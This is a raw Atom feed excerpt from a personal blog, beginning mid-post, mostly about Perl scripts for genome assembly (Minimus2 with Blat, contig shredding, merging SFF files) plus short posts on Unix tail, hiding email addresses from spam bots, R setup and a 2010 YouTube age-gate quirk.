if(($i==1)&amp;amp;&amp;amp;($j==1)){while($a=&lt;file2&gt;){print FILE1 $a;}}&lt;br /&gt;    else{$a=&lt;file2&gt;;$a=&lt;file2&gt;;while($a=&lt;file2&gt;){print FILE1 $a;}}&lt;br /&gt;    }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3853773031171922753?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3853773031171922753/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3853773031171922753' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3853773031171922753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3853773031171922753'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2011/01/minimus2-larger-datasets-with-nucmer.html' title='Minimus2 larger datasets with Nucmer'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3564993436047115493</id><published>2011-01-18T02:05:00.000-08:00</published><updated>2011-01-18T02:11:24.950-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='assembly'/><title type='text'>Blat instead of Nucmer in Minimus2</title><content type='html'>&lt;a href="http://sourceforge.net/apps/mediawiki/amos/index.php?title=Minimus2"&gt;Minimus2&lt;/a&gt; is a good utility to merge assemblies based on the AMOS architecture. However, it has a limitation on the size of the input datasets. This is due to the Nucmer program is its pipline. Apart from Nucmer other steps are able to handle much bigger chunks of data. So instead of using Nucmer i tried using Blat. Although this gave me assemblies, they were not always correct and complete.&lt;br /&gt;&lt;br /&gt;May be someday somebody will use it.In the meantime i try to use Nucmer iteratively on smaller chunks and then merge the output before the next step. This is possible as Nucmer is run with the option -maxmatch in Minimus, making it independent of the other sequences in the dataset.&lt;br /&gt;&lt;br /&gt;1)The changes to Minimu2.acf in &lt;span class="il"&gt;amos&lt;/span&gt;/src/Pipeline/:&lt;br /&gt;&lt;br /&gt;BINDIR        = /usr/local/bin&lt;br /&gt;NUCMER        = /usr/local/nucmer&lt;br /&gt;DELTAFILTER    = /usr/local/delta-filter&lt;br /&gt;SHOWCOORDS    = /usr/local/show-coords&lt;br /&gt;&lt;b&gt;BLAT    = blat&lt;br /&gt;BTON    = perl psltoNucmer.pl&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;#-----------------------------&lt;div id=":w0"&gt;&lt;wbr&gt;------------------------------&lt;wbr&gt;-------------------#&lt;br /&gt;&lt;br /&gt;## Building &lt;span class="il"&gt;AMOS&lt;/span&gt; bank &amp;amp; Dumping reads&lt;br /&gt;10: rm -fr $(BANK)&lt;br /&gt;11: $(BINDIR)/bank-transact -c -z -b $(BANK) -m $(TGT)&lt;br /&gt;12: $(BINDIR)/dumpreads $(BANK) -M $(REFCOUNT) &gt; $(REFSEQ)&lt;br /&gt;13: $(BINDIR)/dumpreads $(BANK) -m $(REFCOUNT) &gt; $(QRYSEQ)&lt;br /&gt;&lt;br /&gt;## Getting overlaps&lt;br /&gt;&lt;b&gt;20: $(BLAT) $(REFSEQ) $(QRYSEQ) $(BOUT) -fastMap -noHead -minIdentity=98&lt;/b&gt;&lt;br /&gt;&lt;b&gt;21: $(BTON) $(BOUT) | $(BINDIR)/nucmerAnnotate | egrep 'BEGIN|END|CONTAIN|IDENTITY' &gt; $(COORDS) &lt;/b&gt;&lt;br /&gt;22: $(BINDIR)/nucmer2ovl -ignore $(MAXTRIM) -tab $(COORDS) | $(BINDIR)/sort2 &gt; $(OVLTAB)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2) The code for &lt;b&gt;psltoNucmer.pl &lt;/b&gt;is given below&lt;b&gt;:&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;open FILE2, "&lt;",$ARGV[0] or die $!;&lt;br /&gt;&lt;br /&gt;while($z = &lt;file2&gt;){&lt;br /&gt;@values=split(/\t/,$z);&lt;br /&gt;print $values[15]."\t".$values[16]."&lt;wbr&gt;\t|\t".$values[11]."\t".$&lt;wbr&gt;values[12]."\t|\t".abs($&lt;wbr&gt;values[16]-$values[15])."\t".&lt;wbr&gt;abs($values[12]-$values[11])."&lt;wbr&gt;\t|\t".(sprintf "%.2f",(($values[0]+$values[2]&lt;wbr&gt;+$values[3])*100)/abs($values[&lt;wbr&gt;12]-$values[11]))."\t|\t".$&lt;wbr&gt;values[14]."\t".$values[10]."\&lt;wbr&gt;t|\t".(sprintf "%.2f",(abs($values[16]-$&lt;wbr&gt;values[15])*100/$values[14])).&lt;wbr&gt;"\t".(sprintf "%.2f",(abs($values[12]-$&lt;wbr&gt;values[11])*100/$values[10])).&lt;wbr&gt;"\t|\t".$values[13]."\t".$&lt;wbr&gt;values[9]."\n";&lt;br /&gt;}#end of File while loop&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;3) blat output format details can be found here : &lt;a href="http://genome.ucsc.edu/goldenPath/help/blatSpec.html" target="_blank"&gt;http://genome.ucsc.edu/&lt;wbr&gt;goldenPath/help/blatSpec.html&lt;/a&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3564993436047115493?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3564993436047115493/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3564993436047115493' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3564993436047115493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3564993436047115493'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2011/01/blat-instead-of-nucmer-in-minimus2.html' title='Blat instead of Nucmer in Minimus2'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3845002549739310929</id><published>2010-12-01T02:29:00.000-08:00</published><updated>2010-12-01T02:33:52.117-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PERL'/><title type='text'>Program to shred contigs into reads with overlap</title><content type='html'>Most assembly programs seem to have some limit on the length of the reads that they take as input for assembling them. Assembling contigs can be a difficult problem in such cases. Shredding the contigs into smaller reads with a 50% or more of overlap should retain the benefit of having assembled the contigs and use it for further assembly.&lt;br /&gt;&lt;br /&gt;Here is a small program to shred contigs into 1kb reads with 500 base pair overlap:&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;open FILE1, $ARGV[0] or die $!;&lt;br /&gt;&lt;br /&gt;while($line1 = &lt;file1&gt;){&lt;br /&gt;my $flag=0,$overlap=500,$length=1000;&lt;br /&gt;&lt;br /&gt;chomp($line1);&lt;br /&gt;&lt;br /&gt;$line2 = &lt;file1&gt;;&lt;br /&gt;$seqlen=length $line2;&lt;br /&gt;chomp($line2);&lt;br /&gt;&lt;br /&gt;while(($seqlen-$flag)&gt;$length){&lt;br /&gt;if(($seqlen-($flag+$overlap))&lt;$length){&lt;br /&gt;$length=$seqlen-$flag;&lt;br /&gt;}&lt;br /&gt;$nextseq=substr $line2,$flag,$length;&lt;br /&gt;print $line1.":".$flag."-".($flag+$length)."\n";&lt;br /&gt;print $nextseq."\n";&lt;br /&gt;$flag=$flag+$overlap;&lt;br /&gt;&lt;br /&gt;}#end of seqlen while loop&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}#end of file while loop&lt;br /&gt;&lt;br /&gt;This script works on a multifasta file with header in the first line and the sequence in the second line.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3845002549739310929?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3845002549739310929/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3845002549739310929' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3845002549739310929'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3845002549739310929'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/12/program-to-shred-contigs-into-reads.html' title='Program to shred contigs into reads with overlap'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-4167936962727245366</id><published>2010-10-19T06:16:00.000-07:00</published><updated>2010-10-19T06:19:18.438-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PERL'/><category scheme='http://www.blogger.com/atom/ns#' term='assembly'/><title type='text'>Handling duplicate accession numbers created by flowsim with sfffile command</title><content type='html'>Having simulated loads of 454 data with &lt;a href="http://blog.malde.org/index.php/flowsim/"&gt;Flowsim&lt;/a&gt;, i wanted to assemble everything. Unfortunately Flowsim gives one output .sff file for one input fasta file. In my case there were some 1,00,000 fasta sequences and hence 1,00,000 .sff files.&lt;br /&gt;&lt;br /&gt;Newbler (assembler for 454 data) just crashed when asked to assemble the data in these many different files. It worked upto 500 .sff files though.&lt;br /&gt;&lt;br /&gt;When all the files where given as input to sfffile to combine into a single file it gave a cryptic "segmentation fault" error. It seemed as though all the loads of data generated by Flowsim would be wasted. As a lost resort i wrote a script to combine the .sff files two at a time.&lt;br /&gt;&lt;br /&gt;The script crashed after running for 100 files. The culprit was "Flowsim". It had generated sequences with the same accession number in the different runs. sfffile was failing with "Error:  Duplicate accession chr1:56036789..56039961_1148- found.  Unable to write SFF file.". After further investigation it became clear that duplciate accession numbers had occured rather frequently. Later versions of Flowsim may have fixed this issue (I used version 0.1).&lt;br /&gt;&lt;br /&gt;Since, the data had already been generated it had to "handled". sfffile does not have a flag to ignore duplicate accession numbers. Hence, a simple perl script that checks if sfffile failed in the previous step take care of the duplicate accession numbers. Perl script below:&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;my $startfile="combined1.sff";&lt;br /&gt;&lt;br /&gt;for($count=2;$count&lt;8000;$count++){&lt;br /&gt;$pcount=$count-1;&lt;br /&gt;print "sfffile -o combined".$count.".sff combined".$pcount.".sff myreads.fasta.".$count.".sff \n";&lt;br /&gt;$pfilename="combined".$pcount.".sff";&lt;br /&gt;if(-e $pfilename){&lt;br /&gt;    system("sfffile -o combined".$count.".sff combined".$pcount.".sff myreads.fasta.".$count.".sff");&lt;br /&gt;    $filename="combined".$count.".sff";&lt;br /&gt;    if(-e $filename){$startfile=$filename;}&lt;br /&gt;}&lt;br /&gt;else {system("sfffile -o combined".$count.".sff ".$startfile." myreads.fasta.".$count.".sff");}&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-4167936962727245366?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/4167936962727245366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=4167936962727245366' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4167936962727245366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4167936962727245366'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/10/handling-duplicate-accession-numbers.html' title='Handling duplicate accession numbers created by flowsim with sfffile command'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-177269237194134087</id><published>2010-07-05T18:31:00.000-07:00</published><updated>2010-07-05T18:42:03.901-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>Youtube bug or hidden feature?</title><content type='html'>Certain Youtube videos which are considered "inappropriate for some users, as flagged by YouTube's user community" are supposed to be hidden from users who are not logged in or who are not above 18 years old. But alas, google seems to have left a bug(or is it a hidden feature--not decipherbale by the underaged?) which allows you to watch any video you want without having to sign in or sign up.&lt;br /&gt;&lt;br /&gt;Just give the direct path to the video like "http://www.youtube.com/v/video_id" and the video just opens up in the browser. This seems to have been left open to allow external websites to embed youtube videos. However, one would expect YT with the "brilliance" of google to have blocked embed access to the "marked" videos.&lt;br /&gt;&lt;br /&gt;Apart from the &lt;a href="http://news.bbc.co.uk/2/hi/technology/10506150.stm"&gt;flaw in youtube&lt;/a&gt; that has been hastily fixed by google, there seems to be minor bugs or rather design decisions that are confusing. Will they just keep patching things or consider a redesign of the model is interesting to watch for.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-177269237194134087?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/177269237194134087/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=177269237194134087' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/177269237194134087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/177269237194134087'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/07/youtube-bug-or-hidden-feature.html' title='Youtube bug or hidden feature?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2707180598668710519</id><published>2010-07-05T17:59:00.000-07:00</published><updated>2010-07-05T18:17:17.415-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PERL'/><title type='text'>Stars and stripes in perl</title><content type='html'>Perl can be made to print in color using TERM::ANSIColor. This perl program tries to generate the stars and stripes with 50 stars and 13 stripes. Although its not perfect in having larger gaps between every second row of stars, it seems to do a pretty ok job. Even the 2/5 ratio between the full and partial stripes is valid. This is the longest surviving version which has managed to complete 50 long years.&lt;br /&gt;&lt;br /&gt;Perl does not seem to have the ability to print subscripts or superscripts while printing to the terminal atleast. The uneven spacing can probably be avoided by using subscripts or superscripts.&lt;br /&gt;&lt;br /&gt;use Term::ANSIColor qw(:constants);&lt;br /&gt;$sixstars="  *   *   *   *   *   *  ";&lt;br /&gt;$fivestars="    *   *   *   *   *    ";&lt;br /&gt;$emptystars="                         ";&lt;br /&gt;$partstripes="                                      \n";&lt;br /&gt;$fullstripes="                                                               \n";&lt;br /&gt;print RESET;&lt;br /&gt;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$sixstars;&lt;br /&gt;print ON_RED,$partstripes,RESET;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$fivestars;&lt;br /&gt;print ON_RED,$partstripes,RESET;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$emptystars;&lt;br /&gt;print ON_WHITE,$partstripes,RESET;&lt;br /&gt;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$sixstars;&lt;br /&gt;print ON_WHITE,$partstripes,RESET;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$fivestars;&lt;br /&gt;print ON_RED,$partstripes,RESET;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$emptystars;&lt;br /&gt;print ON_RED,$partstripes,RESET;&lt;br /&gt;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$sixstars;&lt;br /&gt;print ON_WHITE,$partstripes,RESET;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$fivestars;&lt;br /&gt;print ON_WHITE,$partstripes,RESET;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$emptystars;&lt;br /&gt;print ON_RED,$partstripes,RESET;&lt;br /&gt;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$sixstars;&lt;br /&gt;print ON_RED,$partstripes,RESET;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$fivestars;&lt;br /&gt;print ON_WHITE,$partstripes,RESET;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$emptystars;&lt;br /&gt;print ON_WHITE,$partstripes,RESET;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$sixstars;&lt;br /&gt;print ON_RED,$partstripes,RESET;&lt;br /&gt;print BOLD,WHITE,ON_BLUE,$emptystars;&lt;br /&gt;print ON_RED,$partstripes,RESET;&lt;br /&gt;&lt;br /&gt;for($i=0;$i&lt;3;$i++){&lt;br /&gt;print ON_WHITE,$fullstripes,RESET;&lt;br /&gt;print ON_WHITE,$fullstripes,RESET;&lt;br /&gt;&lt;br /&gt;print ON_RED,$fullstripes,RESET;&lt;br /&gt;print ON_RED,$fullstripes,RESET;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2707180598668710519?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2707180598668710519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2707180598668710519' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2707180598668710519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2707180598668710519'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/07/stars-and-stripes-in-perl.html' title='Stars and stripes in perl'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2992646152746279663</id><published>2010-06-23T10:48:00.000-07:00</published><updated>2010-06-23T11:29:50.564-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PERL'/><title type='text'>PERL writing to a file at both ends</title><content type='html'>Writing to a file in PERL 5.0 (PERL 6 has few changes) is easy and has many options which are specified while opening the file. Here is a list of different ways to write to a file and the change they bring about in the file.&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;#!/usr/local/bin/perl&lt;br /&gt;open(FILE,"+&gt;&gt;outputfile.txt");&lt;br /&gt;print FILE "hello\n";&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;Output:(appended at end of file)&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;previous&lt;br /&gt;text&lt;br /&gt;hello&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;#!/usr/local/bin/perl&lt;br /&gt;open(FILE,"&lt;span style="color: rgb(204, 0, 0);"&gt;+&gt;&lt;/span&gt;outputfile.txt");&lt;br /&gt;print FILE "hello\n";&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;Output:(note that previous text is erased and new file is created)&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;hello&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;#!/usr/local/bin/perl&lt;br /&gt; open(FILE,"&lt;span style="color: rgb(204, 0, 0);"&gt;+&lt;&lt;/span&gt;outputfile.txt");&lt;br /&gt; print FILE "hello\n";&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;Output:(note that previous text is replaced starting at the point where the file pointer is located at the time of printing)&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;hello&lt;br /&gt;us&lt;br /&gt;text&lt;br /&gt;  -------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;But unfortunately if we want to append to the beginning of the file we need to copy the previous text and write it all back in after writing the new text. In such cases using few of the perl modules can solve the problem. In principle its possible that few programs can be writing to the beginning and end of a file at the (nearly)same time.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2992646152746279663?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2992646152746279663/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2992646152746279663' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2992646152746279663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2992646152746279663'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/06/perl-writing-to-file-at-both-ends.html' title='PERL writing to a file at both ends'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2824582505996000734</id><published>2010-06-17T02:27:00.000-07:00</published><updated>2010-06-17T04:11:53.699-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>Unix tail bug?</title><content type='html'>The UNIX tail command is probably one of the most widely used Unix commands. There seems to be a "bug" if you want to call it that in its functionality.&lt;br /&gt;&lt;br /&gt;Try running a tail -5 on a directory where the files have data being written into them continuously like log files. Something like "tail -5 *" which should get you just the last 5 lines from each of the files in the directory.&lt;br /&gt;&lt;br /&gt;However, try running it a few times and you will be surprised to see that for few of the files more than 5 lines are displayed!!&lt;br /&gt;&lt;br /&gt;If you are unlucky enough to use this in a shell script that required just 5 lines and no more, the script will keep failing few times but seem to work just fine at other times. A transient bug which can slide pass the best testing.&lt;br /&gt;&lt;br /&gt;This is something that happens only when you use wild cards to specify the files. So presumably the error happens because the command fails to realize its already read a particular file. Using other non-standard utilities like since or multitail might solve the problem.The programmer could even become intelligent and read just the top 5 lines of the output of tail!! for each file.&lt;br /&gt;&lt;br /&gt;More importantly is this a bug with Unix tail or with the wildcards or just a undesired side effect we have to live with? I could see this "bug" in my 9.8. Not sure if this thing is endemic to this flavor. When i tried the same in the GNU core utilities and opensuse, i have to use the correct version "tail -n 5 *" and this works fine. Its always better to have the GNU core utilities than using the standard utilities that come with some of the less frequently updated flavors .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2824582505996000734?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2824582505996000734/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2824582505996000734' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2824582505996000734'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2824582505996000734'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/06/unix-tail-bug.html' title='Unix tail bug?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-5546737574742567275</id><published>2010-06-08T06:14:00.000-07:00</published><updated>2010-06-08T06:33:20.134-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>Ingenious ways of hiding e-mail from spam bots</title><content type='html'>By putting up your e-mail address on your website or blog is an open invitation to spam bots to harvest your email and start spamming your inbox or congesting your spambox. Congesting of spambox is a big problem if the the spam protector puts genuine mail in the spam folder. Having to sort through the spam can be a nightmare if its full.&lt;br /&gt;&lt;br /&gt;We have seen the obvious ways such as using [at] instead of @ for protecting? which unfortunatley is not good enough as spam bots evolve too. Having a image showing the mail id is mostly safe, but makes it impossible for the user to copy and paste it. Services such as &lt;a href="http://www.google.com/recaptcha/mailhide/"&gt;reCAPTCHA&lt;/a&gt; have made it possible to protect you mail id with an image.However, for the lazy user this may be too much work! to do, just to see the mail id.&lt;br /&gt;&lt;br /&gt;Few ingenious ways to hide a mail id in plain site:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Remove the "meaning of the word that will confuse the spam bot" from the mymailid@confusespambot.actauldomain.com&lt;/li&gt;&lt;li&gt;Use the popular version of the domain in mymailid@geemail.com&lt;/li&gt;&lt;li&gt;Do the math in mymailid@three-two23.com&lt;/li&gt;&lt;li&gt;No numbers in my1mail2id@356domain.com&lt;/li&gt;&lt;/ol&gt;If this is not enough to confuse the spam bots, we could always use other methods such as having a serverside contact form which hides the mail id or use a client side script to render the mail id.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-5546737574742567275?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/5546737574742567275/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=5546737574742567275' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5546737574742567275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5546737574742567275'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/06/ingenious-ways-of-hiding-e-mail-from.html' title='Ingenious ways of hiding e-mail from spam bots'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-950600250909332062</id><published>2010-05-30T13:15:00.000-07:00</published><updated>2010-05-30T13:15:00.130-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='R'/><title type='text'>Setting up and getting the ball rolling in R language</title><content type='html'>You can download and install R for Linux, windows or Mac from &lt;a href="http://ftp.sunet.se/pub/lang/CRAN/"&gt;here&lt;/a&gt;. Select the platform that best describes your system and install R.&lt;br /&gt;&lt;br /&gt;In Linux, R can be started from the command line or terminal by just typing "R" and pressing enter.Once the R language is started, we are free to use the R language commands to perform various functions. You can come out of R by typing "q()"  and pressing enter.&lt;br /&gt;&lt;br /&gt;Most R installs come with a html help manual which opens in the default browser and can be started by typing "help.start()"  and pressing enter.You can even look &lt;a href="http://127.0.0.1:11206/doc/manual/R-intro.html"&gt;here&lt;/a&gt; if your httpd server is running.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-950600250909332062?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/950600250909332062/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=950600250909332062' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/950600250909332062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/950600250909332062'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/05/setting-up-and-getting-ball-rolling-in.html' title='Setting up and getting the ball rolling in R language'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7852461536020123384</id><published>2010-05-29T14:17:00.000-07:00</published><updated>2010-05-29T14:17:00.935-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nature'/><title type='text'>Sheep grazing in the field</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 